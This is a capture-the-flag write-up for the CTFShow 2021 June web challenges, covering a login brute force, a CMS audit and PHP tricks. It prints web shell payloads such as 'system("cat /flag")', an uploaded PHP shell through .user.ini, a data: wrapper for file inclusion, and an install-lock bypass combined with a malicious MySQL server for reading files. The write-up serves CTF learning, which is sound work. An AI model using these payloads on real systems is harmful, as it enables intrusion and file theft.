CTFShow2021 June Web

CTFShow2021 June Web


Ok. . . Underworld question. . . . Woo woo

It is to blast directly, first listen to a correct verification code, and then directly bp blast, ignore 302, if the blast is correct, it will directly return 200:

Insert picture description here

The blasting script is also given on the homepage of the topic, which is password500 on github.


I made a simple code audit, taken from a CMS that a newbie started auditing. In fact, it is not really useful for penetration, but I feel that this kind of thinking is quite interesting, and it is very suitable for CTF problems.

There is an arbitrary php file in index.php that contains:

$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;


Because the PHP version is not so low, it can't cause truncation and so on, so it can't be read directly.

There is no use in admin.php, but there are relatively minor hints:

    }else if($choice ==="giveMeTheYellowPicture"){
        echo "";

Prompted to use the database locally, in fact, it is quite obvious later.

/install/index.php has installation lock detection:

    echo "你已经安装了ctfshowcms,请勿重复安装。";

The relative path is used here, if you install it directly, you cannot install it twice. However, considering that the entry index.php is not in the install directory, if you use the above file inclusion, you can use the path problem to bypass the installation lock detection and perform a second installation.

There is also very little code to install, just these are useful:

// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd )  or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );
    echo "正在写入数据库!";
$content = "<?php
echo "数据库设置写入成功!~"."<br>";
$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
echo "安装成功!";

Masters can try to write horses in settings.php, but here:

    echo "正在写入数据库!";

I did a second installation through a relative path before, so the words here will definitely happen die, and I can't write the horse successfully, so the code that can be used in the second installation is only these three lines:

// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd )  or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );

There is a problem of arbitrary connection to a database, and a malicious mysql server can be constructed to read arbitrary files. I won’t say much about this posture. I have seen a lot in recent games. Refer to the article:





My malicious mysql server was thrown on port 39222.

It feels like a new way of thinking. I think many CMSs may not escape this problem. As long as they can be installed for a second time, either the configuration file can be written to the shell, or there is a connection to the mysql malicious server to read arbitrary files. , But I have hardly found that this kind of use is mentioned in the audit of some CMS secondary installations, so I came up with the question.

Shouldn't be difficult

Check the existing holes directly, and find this install write shell:


Directly hit:


0=system("cat /flag");


The problem is a bit outrageous, the key is here:

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);  

Obviously, you need to transfer files, think of a way around here:

    die('Permission denied');                                           
switch ($action) {                                                      
    case 'upload':                                                      

switchWe use weak type comparison there, but it is obvious that we pass in $_GET['a']a string, and there is no weak type comparison between string and string (I mean no numbers are involved in this question).

Check it:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-EoLpuCTj-1622627885977)(D:\this_is_feng\github\CTF\Web\picture\pic6.png)]

You will find that the matter sorted out relatively loose string returned trueonly true, 0, and the string itself.

Pay attention to this: $action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);pay attention to highlight_filethe return value:

If the highlight is successful, it returns TRUE, otherwise it returns FALSE.

So in fact, you don't need to pass a in this question, it's all entered case uploadby default .

Then the normal file is uploaded, pass it .user.ini, and then pass the script:


content=<?=system("cat /*");?>&name=/var/www/html/1.txt

Flaws of perfection

After thinking about it, I want to use this:

$file_name = substr($_GET['file_name'], 0,16);

Tried it, exactly 16 characters:

data:,<?=`nl *`;


And I seem to be the only expected solution, and the other masters use remote file inclusion.